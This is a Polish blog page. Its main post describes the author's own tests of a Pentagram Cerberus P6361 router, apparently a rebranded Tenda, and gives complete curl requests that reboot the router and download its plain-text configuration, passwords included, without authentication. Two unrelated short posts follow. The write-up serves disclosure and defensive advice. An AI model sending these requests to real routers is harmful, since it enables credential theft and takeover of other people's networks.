Pentagram Cerberus P6361 – rzut okiem na bezpieczeństwo

tl;dr Router starawy, bezpieczeństwo żadne, a tytułowy Pentagram Cerberus P6361 to Tenda.

Razem z laptopem rodzice kupili parę lat temu router, właśnie tytułowy Pentagram Cerberus P6361. Byłem lekko zły, że nie konsultowali ze mną zakupu, ale kupili go za grosze, nie wiem czy nie w Biedronce. Obejrzałem go, stwierdziłem, że co prawda OpenWrt się nie da zainstalować, ale sensowne minimum jest. Znaczy miał 802.11n, możliwość włączenia WPA2 i wyłączenia WPS. Więc został. Pełnił tak naprawdę rolę AP, za routerem na Raspberry Pi. Pobór prądu znikomy, sprzęt działał zaskakująco stabilnie. Z racji tego, że był w sieci lokalnej, to logowanie tylko po HTTP nie miało większego znaczenia.

Często się słyszy o słabych zabezpieczeniach w routerach, zwłaszcza producentów specjalizujących się w tańszym sprzęcie. Przy okazji stwierdziłem, że poszukam błędów w ramach zabawy. Uruchomiłem Burp, zalogowałem się do routera i postanowiłem zrobić najprostszą rzecz, czyli zresetować router. Request trochę mnie zaskoczył, bo po skopiowaniu jako komenda curl wyglądał następująco:

curl -i -s -k -X $'GET' \
-H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_reboot.asp' -H $'If-Modified-Since: 0' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' \
-b $'language=en; admin:language=en' \
$'http://192.168.1.1:8081/goform/SysToolReboot'

Zgadza się, nie ma tam żadnych danych związanych z sesją. Uruchomienie ww. polecenia w konsoli, poza przeglądarką i następujący po tym reboot potwierdzają. Po prostu wysyłamy request, a router bez żadnego uwierzytelniania wykonuje polecenie.

No dobrze, to tylko reboot, czy można zrobić coś ciekawszego? Stwierdziłem, że najważniejsze co można z routera uzyskać, to hasło administratora i hasło do WiFi. Cerberus P6361 posiada możliwość pobrania backupu konfiguracji. Efektem jej pobrania jest plik tekstowy, zawierający otwartym tekstem pełną konfigurację, włącznie z wszystkimi hasłami. Zaskoczenia nie było – również ją można pobrać bez uwierzytelniania:

curl -i -s -k -X $'GET'     -H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_backup.asp' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     -b $'language=en; admin:language=en'     $'http://192.168.1.1:8081/cgi-bin/DownloadCfg/RouterCfm.cfg' 

Game over. Przyznaję, że po tym, co zobaczyłem, odeszła mnie ochota na dalszą zabawę, przynajmniej z tą wersją firmware:

Current system version: V5.07.18_pl_PEN; Publishing date: Nov 7 2011
Software version V5.07.18_pl_PEN
Hardware version V1.0

Pamiętałem, że dawno temu pobrałem nowszą wersję firmware’u (V5.07.21), ale nie zaktualizowałem go z braku czasu. Postanowiłem sprawdzić na stronie producenta, czy są nowsze wersje oprogramowania. Chciałem zaktualizować i sprawdzić przed zgłoszeniem czy bug nadal występuje i… niespodzianka. Strona producenta zniknęła. Liczyłem, że znajdę jakieś linki do firmware w necie, poszperałem więc nieco i okazało się, że Pentagram to tak naprawdę Tenda (co łatwo można potwierdzić na podstawie MAC adresu), czyli producent, którego routery zawierają mnóstwo podatności tego typu[1]. W znacznie nowszym firmware, którego, nawiasem nie widzę do pobrania ze strony producenta – jest 5.07.46 z 2013. Przy czym opieram się na tym, że wersja i rozmiar fimware są podobne. Pewności, że Pentagram Cerberus P6361 to Tenda W316R nie mam, routera zepsuć nie chcę, więc chwilowo nie wymieniam. Pobawię się intensywniej jak znajdę zastępcę.

Część smutna. Domyślnie router udostępnia interfejs do zarządzania na wszystkich interfejsach (adres 0.0.0.0) i wygląda, że nie ma dostępnego załatanego firmware’u. Rzut oka na portale z używanym sprzętem pokazuje, że sporo ludzi sprzedaje te routery. Ceny od 20 zł w górę. Jak się ktoś bardzo postara, to i nowy w sklepie znajdzie. Polecam kupić coś innego. Jeśli ktoś musi używać ww. routera, polecam pokombinować z niewystawianiem panelu zarządzania czy to przez zmianę adresu na którym słucha, czy trickiem z przekierowaniem portu opisanym przy podobnej okazji[2]. Wygląda na bardzo podobny błąd.

Najlepiej tego typu podatny router wymienić, co przy najbliższej okazji uczynię, mimo że jest używany sporadycznie. Za sprawą CSRF atak można wykonać od strony sieci LAN, więc brak wystawionego na świat interfejsu nie do końca zabezpiecza przed wykonaniem zdalnego ataku.

Shodan zwrócił zaskakująco mało wyników, ZoomEye nieco więcej, ale przypuszczam, że te sprzęty po prostu mają się już ku schyłkowi (patrz [2]). Ew. złe zapytania zrobiłem – niestety w tej chwili nie mam już dostępu do routera. Zdecydowałem się opisać, bo zabawa i przednia, i prosta. Sam exploit opublikowany był jeszcze w zeszłym roku, choć sprzęt starawy, a o dziurach w routerze zawsze warto przypomnieć – może ktoś załata/wymieni.

UPDATE: Podatność dotyczy całej rodziny routerów Tenda (W316R, N300) i podobnych tanich routerów SOHO: CVE-2020-35391, CVE-2017-14942.

UPDATE: Napisałem _bez żadnego uwierzytelniania_, co było półprawdą. Konieczny jest ustawienie Cookie z odpowiednią, stałą zawartością, co w praktyce na jedno wychodzi.

[1] Zmiana serwerów DNS jest kolejną ważną rzeczą. W sumie ważniejszą, niż hasło do WiFi, zwł. jeśli mowa o zdalnym sprzęcie.
[2] Aktualnie zapytanie zwraca poniżej 7 tys. wyników. W masową aktualizację nie wierzę, czyżby sprzęty nie przeżywały 6 lat? W sumie w tym przypadku dobrze…

Dzień bez znaczenia

Dziś w Wielkopolsce z okazji Europejskiego Tygodnia Zrównoważonego Transportu był Dzień bez Samochodu. W związku z tym każdy posiadacz ważnego dowodu rejestracyjnego mógł podróżować bezpłatnie autobusami i tramwajami. A także pociągami Kolei Wielkopolskich i Przewozów Regionalnych na terenie województwa.

Idea piękna, inicjatywa prowadzona od kilku lat, ale… wprowadzona ulga nie ma już znaczenia, tak naprawdę. I nie musi przekładać się w żaden sposób na spadek podróżujących samochodami. System można bowiem zhackować: o ile dotychczas dowód rejestracyjny był niezbędny do jazdy samochodem[1], o tyle od października 2018 nie jest już wymagany. Więc jedna osoba w rodzinie może pojechać jak dotychczas samochodem. A druga może wziąć dowód rejestracyjny i jeździć komunikacją miejską za darmo.

Zastanawiam się, na ile to świadome działanie, a na ile bug systemu. Oraz czy nie było tak, że cała akcja była zrobiona z rozpędu. Może w przyszłym roku po prostu w Dniu bez Samochodu komunikacja miejska będzie za darmo? Zwyczajnie i po prostu, bez dodatkowych warunków?

[1] Przynajmniej zgodnie z prawem, bo jego brak groził mandatem.

Bity na godzinę…

Ostatnio czytam książkę Myśl jak Sherlock Holmes. Głupio tak coś więcej o książce pisać, bo w połowie jestem, ale… Uczucia bardzo mieszane, bo ma ambicję być poradnikiem pełną gębą, a mnie śmieszy traktowanie Dr Watsona i Sherlocka Holmesa jako postaci rzeczywistych, a nie jedynie literackich, ale momentami ciekawa. Bardziej jako ładnie ubrane anegdotki i ciekawostki, niż „poważny” poradnik.

No i w pewnym momencie taki kwiatek:

Bity na godzinę

Wi-fi: 802,11 b/g (bity na godzinę)

Zawsze się zastanawiałem, o co chodzi z tym b/g i w końcu jest odpowiedź! 🙂 I pozostało zadać pytanie: ile jest tak naprawdę w cytowanym tekście, będącym podpisem zdjęcia, błędów?

UPDATE: Jestem na finiszu i muszę powiedzieć, że książka jest ciekawa, spostrzeżenia trafne. Nadal, Sherlock Holmes jest IMO bardziej ilustracją, mającą zaciekawić czytelnika i nie brałbym tego w 100% na poważnie, ale warto przeczytać.